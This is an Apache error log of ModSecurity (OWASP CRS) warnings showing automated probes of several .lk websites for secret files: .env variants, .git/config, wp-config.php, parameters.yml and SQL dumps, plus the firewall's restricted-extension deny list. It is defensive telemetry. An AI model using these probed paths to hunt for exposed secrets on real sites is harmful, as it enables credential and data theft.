[Fri Jul 17 08:28:32.206595 2026] [security2:error] [pid 1993659:tid 1993659] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/wp-config.php"] [unique_id "almaWJOFLENLI63GGOEKXgAAAAQ"]
[Fri Jul 17 08:28:32.207433 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 34.228.26.184:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:28:32.209411 2026] [security2:error] [pid 1993659:tid 1993659] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/wp-config.php"] [unique_id "almaWJOFLENLI63GGOEKXgAAAAQ"]
[Fri Jul 17 08:28:32.346437 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV41dLClkUfK_dfHhmQAAAAI"]
[Fri Jul 17 08:28:32.353393 2026] [security2:error] [pid 2013828:tid 2013828] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almaV-N_HRgVfO4akvmJ0wAAABg"]
[Fri Jul 17 08:28:32.384593 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/.env.production"] [unique_id "almaWAPhWp7RzB65h36e4AAAAA0"]
[Fri Jul 17 08:28:32.384977 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/.env.production"] [unique_id "almaWAPhWp7RzB65h36e4AAAAA0"]
[Fri Jul 17 08:28:32.385541 2026] [security2:error] [pid 2008451:tid 2008451] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/.env.production"] [unique_id "almaWAPhWp7RzB65h36e4AAAAA0"]
[Fri Jul 17 08:28:32.605262 2026] [security2:error] [pid 2014256:tid 2014256] [client 44.201.150.202:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.venee.lk"] [uri "/dump.sql"] [unique_id "almaWIZvbo7N5o5zeYC68AAAABw"]
[Fri Jul 17 08:28:32.606358 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/.env.production"] [unique_id "almaWARRrtuZqNDDSqWsxgAAABo"]
[Fri Jul 17 08:28:32.609501 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/.env.production"] [unique_id "almaWARRrtuZqNDDSqWsxgAAABo"]
[Fri Jul 17 08:28:32.609923 2026] [security2:error] [pid 2014256:tid 2014256] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/dump.sql"] [unique_id "almaWIZvbo7N5o5zeYC68AAAABw"]
[Fri Jul 17 08:28:32.609963 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/.env.production"] [unique_id "almaWARRrtuZqNDDSqWsxgAAABo"]
[Fri Jul 17 08:28:32.610848 2026] [security2:error] [pid 2014256:tid 2014256] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/dump.sql"] [unique_id "almaWIZvbo7N5o5zeYC68AAAABw"]
[Fri Jul 17 08:28:32.627545 2026] [security2:error] [pid 2014308:tid 2014308] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/.git/config"] [unique_id "almaWAdFk8dCrY-oJNkdHQAAACA"]
[Fri Jul 17 08:28:32.627883 2026] [security2:error] [pid 2014308:tid 2014308] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/.git/config"] [unique_id "almaWAdFk8dCrY-oJNkdHQAAACA"]
[Fri Jul 17 08:28:32.628277 2026] [security2:error] [pid 2014308:tid 2014308] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/.git/config"] [unique_id "almaWAdFk8dCrY-oJNkdHQAAACA"]
[Fri Jul 17 08:28:32.671318 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.228.26.184:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "dataesite.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaWEhq6UAnqYko0LpXTQAAABE"]
[Fri Jul 17 08:28:32.671575 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaWEhq6UAnqYko0LpXTQAAABE"]
[Fri Jul 17 08:28:32.671958 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaWEhq6UAnqYko0LpXTQAAABE"]
[Fri Jul 17 08:28:32.672143 2026] [security2:error] [pid 2014286:tid 2014286] [client 44.201.150.202:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.venee.lk"] [uri "/data.sql"] [unique_id "almaWB15lhZh2QtC5qEWMAAAAB8"]
[Fri Jul 17 08:28:32.672600 2026] [security2:error] [pid 2014286:tid 2014286] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/data.sql"] [unique_id "almaWB15lhZh2QtC5qEWMAAAAB8"]
[Fri Jul 17 08:28:32.673013 2026] [security2:error] [pid 2014286:tid 2014286] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/data.sql"] [unique_id "almaWB15lhZh2QtC5qEWMAAAAB8"]
[Fri Jul 17 08:28:32.687795 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.201.150.202:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.venee.lk"] [uri "/database.sql"] [unique_id "almaWJOFLENLI63GGOEKXwAAAAQ"]
[Fri Jul 17 08:28:32.688200 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/database.sql"] [unique_id "almaWJOFLENLI63GGOEKXwAAAAQ"]
[Fri Jul 17 08:28:32.688497 2026] [security2:error] [pid 1993659:tid 1993659] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/database.sql"] [unique_id "almaWJOFLENLI63GGOEKXwAAAAQ"]
[Fri Jul 17 08:28:32.791701 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaWARRrtuZqNDDSqWsxwAAABo"]
[Fri Jul 17 08:28:32.791991 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaWARRrtuZqNDDSqWsxwAAABo"]
[Fri Jul 17 08:28:32.792328 2026] [security2:error] [pid 2013830:tid 2013830] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaWARRrtuZqNDDSqWsxwAAABo"]
[Fri Jul 17 08:28:33.004619 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.228.26.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "dataesite.lk"] [uri "/data.sql"] [unique_id "almaWQdFk8dCrY-oJNkdHgAAACA"]
[Fri Jul 17 08:28:33.005201 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dataesite.lk"] [uri "/data.sql"] [unique_id "almaWQdFk8dCrY-oJNkdHgAAACA"]
[Fri Jul 17 08:28:33.005822 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.228.26.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dataesite.lk"] [uri "/data.sql"] [unique_id "almaWQdFk8dCrY-oJNkdHgAAACA"]
[Fri Jul 17 08:28:33.049491 2026] [security2:error] [pid 2014286:tid 2014286] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/.env.local"] [unique_id "almaWR15lhZh2QtC5qEWMQAAAB8"]
[Fri Jul 17 08:28:33.049847 2026] [security2:error] [pid 2014286:tid 2014286] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/.env.local"] [unique_id "almaWR15lhZh2QtC5qEWMQAAAB8"]
[Fri Jul 17 08:28:33.050317 2026] [security2:error] [pid 2014286:tid 2014286] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/.env.local"] [unique_id "almaWR15lhZh2QtC5qEWMQAAAB8"]
[Fri Jul 17 08:28:33.065898 2026] [security2:error] [pid 1994967:tid 1994967] [client 44.201.150.202:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "mail.venee.lk"] [uri "/db.sql"] [unique_id "almaWUhq6UAnqYko0LpXTgAAABE"]
[Fri Jul 17 08:28:33.066309 2026] [security2:error] [pid 1994967:tid 1994967] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/db.sql"] [unique_id "almaWUhq6UAnqYko0LpXTgAAABE"]
[Fri Jul 17 08:28:33.066719 2026] [security2:error] [pid 1994967:tid 1994967] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/db.sql"] [unique_id "almaWUhq6UAnqYko0LpXTgAAABE"]
[Fri Jul 17 08:28:33.127805 2026] [authz_core:error] [pid 1993584:tid 1993584] [client 44.201.150.202:0] AH01630: client denied by server configuration: /home/veneelk/public_html/wp-config.php
